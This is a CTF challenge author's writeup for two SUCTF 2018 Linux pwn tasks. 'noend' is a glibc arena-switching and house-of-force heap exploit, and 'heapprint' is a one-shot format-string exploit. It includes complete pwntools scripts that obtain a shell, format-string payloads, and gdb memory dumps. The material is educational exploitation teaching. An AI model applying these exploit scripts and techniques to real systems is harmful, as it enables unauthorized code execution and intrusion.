Yongheng Chen (Ne0)

我有功于人不可念,而过则不可不念;人有恩于我不可忘,而怨则不可不忘. -- 菜根谭

Home Writeup About GitHub Friend

SUCTF 2018 noend && heapprint

28 May 2018

I made two challenges for SUCTF this year. I got the ideas when I was exploring linux pwn technique and I want to share them with others. Though the logic of the challenges are extremely easy, the exploitation may be a little hard. Since only two teams solved one of the challenge and nobody solved the other, I decide to write a wp for them. If you like the writeup, follow me on github ^_^

Noend

This is a heap challenge. When I was playing the heap one day, I found that if you malloc a extremely large size that ptmalloc can’t handle, it would alloc and use another arena afterward. And this is where the challenge comes from.

Program info

Let’s take a look in the program

[*] '/home/ne0/Desktop/suctf/noend/noend'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

and the main logic of the program is

    char* s;
    char buf[0x20];
    unsigned long long  len;
    Init();

    while(1){
        memset(buf,0,0x20);
        read(0,buf,0x20-1);
        len=strtoll(buf,NULL,10);
        s=(char*)malloc(len);
        read(0,s,len);
        s[len-1]=0;
        write(1,s,len&0xFFFF);
        write(1,"\n",1);
        if(len<0x80)
        free(s);
    }
    return 0;

You can endless alloc a chunk with arbitrary size, but after you write something into it ,it gets freed if its size is less than 0x80. So most of the heap pwning techniques don’t work here as you can have only one chunk allocated.

Bug

Seems no bug at the first glance. But take a deeper look at the following code.

s=(char*)malloc(len);
read(0,s,len);
s[len-1]=0;

It doesn’t check the status of malloc. If the malloc fails due to some reason, s[len-1]=0 is equal to *(char*)(len-1)=0, which means we can write a \x00 to almost arbitrary address.

Exploit

The leak is easy, and I will skip that part.

Suppose now we have the address of libc libc_base and heap heap_base, what do we do next?

The first idea that comes to me is house of force — by partial overwrite a \x00 to the top chunk ptr. But after we do that ,we find that the main arena seems not working anymore..

Here’s a useful POC:

int main(){
    printf("Before:\n");
    printf("%p\n",malloc(0x40));
    printf("Mallco failed:%p\n",malloc(-1));
    printf("After:\n");
    printf("%p\n",malloc(0x40));
    return 0;
}
Before:
0xee7420
Mallco failed:(nil)
After:
0x7fb7b00008c0

The pointer malloc returns is 0x7fb7b00008c0 ??!

You can read the source of glibc for more details. In a word, when you malloc a size that the main arena can’t handle, malloc will try to use another arena. And later allocations will all be handled by the arena. The insteresting part is that, after you switch the arena, if you malloc a extremely big size again, the arena will not change anymore! That means we can partial overwrite the top chunk pointer of this arena and use house of force!

A little debugging after leak the address of another arena (in this case 0x7f167c000020) Almost same as main arena

gdb-peda$ telescope 0x7f167c000020 100
0000| 0x7f167c000020 --> 0x200000000 
0008| 0x7f167c000028 --> 0x0 
0016| 0x7f167c000030 --> 0x0 
0024| 0x7f167c000038 --> 0x0 
0032| 0x7f167c000040 --> 0x0 
0040| 0x7f167c000048 --> 0x0 
0048| 0x7f167c000050 --> 0x7f167c0008b0 --> 0x0 
0056| 0x7f167c000058 --> 0x0 
0064| 0x7f167c000060 --> 0x0 
0072| 0x7f167c000068 --> 0x0 
0080| 0x7f167c000070 --> 0x0 
0088| 0x7f167c000078 --> 0x7f167c000920 --> 0x0 
0096| 0x7f167c000080 --> 0x0 
0104| 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0 
0112| 0x7f167c000090 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0 
0120| 0x7f167c000098 --> 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0 
0128| 0x7f167c0000a0 --> 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0 
..............

Write the top chunk pointer

gdb-peda$ telescope 0x7f167c000020 100
0000| 0x7f167c000020 --> 0x200000000 
0008| 0x7f167c000028 --> 0x7f167c0008b0 --> 0x0 
0016| 0x7f167c000030 --> 0x0 
0024| 0x7f167c000038 --> 0x0 
0032| 0x7f167c000040 --> 0x0 
0040| 0x7f167c000048 --> 0x0 
0048| 0x7f167c000050 --> 0x0 
0056| 0x7f167c000058 --> 0x0 
0064| 0x7f167c000060 --> 0x0 
0072| 0x7f167c000068 --> 0x0 
0080| 0x7f167c000070 --> 0x0 
0088| 0x7f167c000078 --> 0x7f167c000a00 --> 0x7f168bfa729a 
0096| 0x7f167c000080 --> 0x7f167c0008d0 --> 0x0 
0104| 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0 
0112| 0x7f167c000090 --> 0x7f167c0008d0 --> 0x0 
0120| 0x7f167c000098 --> 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0 
0128| 0x7f167c0000a0 --> 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0 
....

gdb-peda$ telescope 0x7f167c000a00
0000| 0x7f167c000a00 --> 0x7f168bfa729a 
0008| 0x7f167c000a08 --> 0x7f168bfa729a 
0016| 0x7f167c000a10 --> 0x7f168bfa729a 
0024| 0x7f167c000a18 --> 0x7f168bfa729a

You can see that instead of size 0xFFFFFFFFFFFFFFF, I fake the size to be 0x7f168bfa729a. This is a little confusing? Actually I calculate the size as onegadget+(freehook_addr top_chunk_addr). This means that if I malloc(freehook_addr-top_chunk_addr), the size left happens to be onegadget ,and it locates in the address of freehook!This is really hackish. Trigger free and you can get the shell.

Of course you can also write system into freehook.Although actually you can’t write exactly system but system+1 into freehook, because the prev inused bit of the top chunk is always set.But it won’t stop you from getting a shell. Try it yourself!

Final Script

from pwn import *

pc='./noend'

libc=ELF('./libc.so.6')

p=process(pc,env={"LD_PRELOAD":'./libc.so.6'})
gdb.attach(p,'c')
#p=remote("pwn.suctf.asuri.org",20002)


def ru(a):
    p.recvuntil(a)

def sa(a,b):
    p.sendafter(a,b)

def sla(a,b):
    p.sendlineafter(a,b)

def echo(size,content):
    p.sendline(str(size))
    sleep(0.3)
    p.send(content)
    k=p.recvline()
    return k

def hack():
    echo(0x38,'A'*8)
    echo(0x28,'A'*8)
    echo(0x48,'A'*8)
    echo(0x7f,'A'*8)    
    k=echo(0x28,'A'*8)    
    libcaddr=u64(k[8:16])
    libc.address=libcaddr-0x3c1b58
    print("Libc base-->"+hex(libc.address))
    p.sendline(str(libcaddr-1))
    sleep(0.3)
    echo(0x38,'A'*8)    
    p.clean()
    echo(0x68,'A'*8)    
    echo(0x48,'A'*8)    
    echo(0x7f,'A'*8)    
    k=echo(0x68,'A'*8)    
    libcaddr=u64(k[8:16])
    old=libcaddr
    print("Another arena-->"+hex(old))
    raw_input()

    target=libc.address+0xf2519+0x10+1 # onegadget
    libcaddr=libcaddr-0x78+0xa00
    off=libc.symbols['__free_hook']-8-0x10-libcaddr
    echo(0xf0,p64(off+target)*(0xf0/8))
    p.sendline(str(old+1))
    sleep(1)
    p.sendline()
    raw_input()
    echo(off,'AAAA')
    p.recvline()
    p.clean()
    echo(0x10,'/bin/sh\x00')
    p.interactive()

hack()

Heapprint

This challenge is about format-string vuln. No leak. Trigger fmt once and get the shell? How is it even possible?

Program info

[*] '/home/ne0/Desktop/heapprint/heapprint'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

The logic is still simple:

    long long d;
    d=(long long)&d;
    printf("%d\n",(d>>8)&0xFF);
    d=0;
    buffer=(char*)malloc(0x100);
    read(0,buffer,0x100);
    snprintf(bss_buf,0x100,buffer);
    puts("Byebye");

Bug

Well, fmt obviously.

Exploit

We can only trigger fmt once. As the fmt needs some pointer at the stack, let’s take a look in gdb then.

Set a breakpoint at snprintf

[-------------------------------------code-------------------------------------]
   0x55d16cc14a85:	mov    esi,0x100
   0x55d16cc14a8a:	lea    rdi,[rip+0x2005cf]        # 0x55d16ce15060
   0x55d16cc14a91:	mov    eax,0x0
=> 0x55d16cc14a96:	call   0x55d16cc14838
[------------------------------------stack-------------------------------------]
0000| 0x7ffc6b683860 --> 0x0 
0008| 0x7ffc6b683868 --> 0xe99930963f8b8e00 
0016| 0x7ffc6b683870 --> 0x55d16cc14ad0 (push   r15)
0024| 0x7ffc6b683878 --> 0x7f8cf2942830 (<__libc_start_main+240>:	mov    edi,eax)
0032| 0x7ffc6b683880 --> 0x1 
0040| 0x7ffc6b683888 --> 0x7ffc6b683958 --> 0x7ffc6b684fc0 ("./heapprint")
0048| 0x7ffc6b683890 --> 0x1f2f11ca0 
.......
0144| 0x7ffc6b6838f0 --> 0x0 
0152| 0x7ffc6b6838f8 --> 0x7ffc6b683968 --> 0x7ffc6b684fcc ("MYVIMRC=/home/ne0/.vimrc")
0160| 0x7ffc6b683900 --> 0x7f8cf2f13168 --> 0x55d16cc14000 --> 0x10102464c457f 
0168| 0x7ffc6b683908 --> 0x7f8cf2cfc7cb (<_dl_init+139>:	jmp    0x7f8cf2cfc7a0 <_dl_init+96>)
.......
0232| 0x7ffc6b683948 --> 0x1c 
0240| 0x7ffc6b683950 --> 0x1 
0248| 0x7ffc6b683958 --> 0x7ffc6b684fc0 ("./heapprint")

Well, we find a pointer to pointer at 0x40. So it’s easy to come up with the idea that try to modify the pointer at 0248 to be 0x7ffc6b683878, which pointers to the return address of main. Then modify it to be one gadget to get the shell.

Easier said than done. Let’s try solving it. To better demonstrate the poc, I will turn off aslr in gdb(Otherwise we will need to bruteforce 4 bit to correctly locate the address of return address)

#payload="%55928d%9$hn", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96:	call   0x555555554838
   0x555555554a9b:	lea    rdi,[rip+0xb6]        # 0x555555554b58
   0x555555554aa2:	call   0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0 
arg[1]: 0x100 
arg[2]: 0x555555756010 ("%55928d%9$hn\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0 
0008| 0x7fffffffda68 --> 0x8879fe5d03add800 
0016| 0x7fffffffda70 --> 0x555555554ad0 (push   r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)
0032| 0x7fffffffda80 --> 0x1 
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1 
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")

[-------------------------------------code-------------------------------------]
   0x555555554a8a:	lea    rdi,[rip+0x2005cf]        # 0x555555755060
   0x555555554a91:	mov    eax,0x0
   0x555555554a96:	call   0x555555554838
=> 0x555555554a9b:	lea    rdi,[rip+0xb6]        # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0 
0008| 0x7fffffffda68 --> 0x8879fe5d03add800 
0016| 0x7fffffffda70 --> 0x555555554ad0 (push   r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)
0032| 0x7fffffffda80 --> 0x1 
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)
......
0240| 0x7fffffffdb50 --> 0x1 
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)

Seems working!

Now modify the return address.

#payload="%55928d%9$hn%35$n", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96:	call   0x555555554838
   0x555555554a9b:	lea    rdi,[rip+0xb6]        # 0x555555554b58
   0x555555554aa2:	call   0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0 
arg[1]: 0x100 
arg[2]: 0x555555756010 ("%55928d%9$hn%35$n\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0 
0008| 0x7fffffffda68 --> 0x8879fe5d03add800 
0016| 0x7fffffffda70 --> 0x555555554ad0 (push   r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)
0032| 0x7fffffffda80 --> 0x1 
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1 
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")

[-------------------------------------code-------------------------------------]
   0x555555554a8a:	lea    rdi,[rip+0x2005cf]        # 0x555555755060
   0x555555554a91:	mov    eax,0x0
   0x555555554a96:	call   0x555555554838
=> 0x555555554a9b:	lea    rdi,[rip+0xb6]        # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0 
0008| 0x7fffffffda68 --> 0x8879fe5d03add800 
0016| 0x7fffffffda70 --> 0x555555554ad0 (push   r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)
0032| 0x7fffffffda80 --> 0x1 
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)
......
0240| 0x7fffffffdb50 --> 0x1 
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)

gdb-peda$ telescope 0x7fffffffdf44
0000| 0x7fffffffdf44 --> 0x727070610000da78 
0008| 0x7fffffffdf4c --> 0x4956594d00746e69 ('int')


?? The return address is still the same,but content at 0x7fffffffdf44 has been changed! It seems that when the snprintf process %35$n, it still uses the old value 0x7fffffffdf44 but not the new value 0x7fffffffda78.

So what do we do now? Well, you can read the source of glibc, or you can try the following payload.

#payload="%c%c%c%c%c%c%c%55921d%hn%35$n", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96:	call   0x555555554838
   0x555555554a9b:	lea    rdi,[rip+0xb6]        # 0x555555554b58
   0x555555554aa2:	call   0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0 
arg[1]: 0x100 
arg[2]: 0x555555756010 ("%c%c%c%c%c%c%c%55921d%hn%35$n\n")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0 
0008| 0x7fffffffda68 --> 0x8879fe5d03add800 
0016| 0x7fffffffda70 --> 0x555555554ad0 (push   r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>:	mov    edi,eax)
0032| 0x7fffffffda80 --> 0x1 
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1 
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")

[-------------------------------------code-------------------------------------]
   0x555555554a8a:	lea    rdi,[rip+0x2005cf]        # 0x555555755060
   0x555555554a91:	mov    eax,0x0
   0x555555554a96:	call   0x555555554838
=> 0x555555554a9b:	lea    rdi,[rip+0xb6]        # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0 
0008| 0x7fffffffda68 --> 0x68a91f9995c84b00 
0016| 0x7fffffffda70 --> 0x555555554ad0 (push   r15)
0024| 0x7fffffffda78 --> 0x2aaa0000da78 
0032| 0x7fffffffda80 --> 0x1 
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaa0000da78 

0240| 0x7fffffffdb50 --> 0x1 
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaa0000da78 

gdb-peda$ telescope 0x7fffffffdf44
0000| 0x7fffffffdf44 ("./heapprint")
0008| 0x7fffffffdf4c --> 0x4956594d00746e69 ('int')

Wow, we successfully changed the return value of main!!! It seems that when snprintf processes the format with $ and those without $ independently. If you want more details, RTFSC.

But we don’t know the address of libc, so if we want to change the return address to be one gadget, we need to brute force 12 bit, plus 4 bit to guess the stack ,we have to brute force 16 bits!

Luckily, we don’t need to. In format-string processing, we have a special symbol *. What’s its usage? Ask google.

With all these combined, we can get shell by bruteforce 5 bits, which is totally acceptable.

The Final Script

from pwn import *

remote_addr="pwn.suctf.asuri.org"
remote_port=20000

p=remote(remote_addr,remote_port)

offset=int(p.recvline().strip('\n'))
offset=(offset<<8)+0x18
offset2=0xd0917
payload='%c'*7+'%'+str(offset-7)+'d%hn'+'%c'*23+'%'+str(offset2-offset-23)+'d%*7$d%n'
p.sendline(payload)
p.interactive()

Conclusion

It is a little pity that nobody solves the challenge heapprint. But what we learned is what matters. So hope you guys enjoy the challenges I make. Feel free to contact me if you have any question.